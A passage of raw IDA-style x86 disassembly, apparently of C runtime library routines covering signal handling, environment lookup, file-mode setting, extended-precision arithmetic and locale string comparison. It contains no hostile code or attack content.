		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC5C
		mov	eax, offset dword_4DBC5C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC58
		mov	eax, offset dword_4DBC58
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC60
		mov	eax, offset dword_4DBC60
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC54
		mov	eax, offset dword_4DBC54


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA30
		and	dword_4DBA30, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D02C
		mov	dword_43D02C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D020
		mov	ecx, dword_43D024
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CFB0h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D02C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA30, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D02C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFAC, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFF0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB980
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB988, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB980
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB958, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB958, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D4A8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D608
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCDA4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFC4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB988
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CE8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC68, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427938
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E0000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC68, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB50C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25E071Eh
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC68, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC68
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25E071Eh
		nop
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
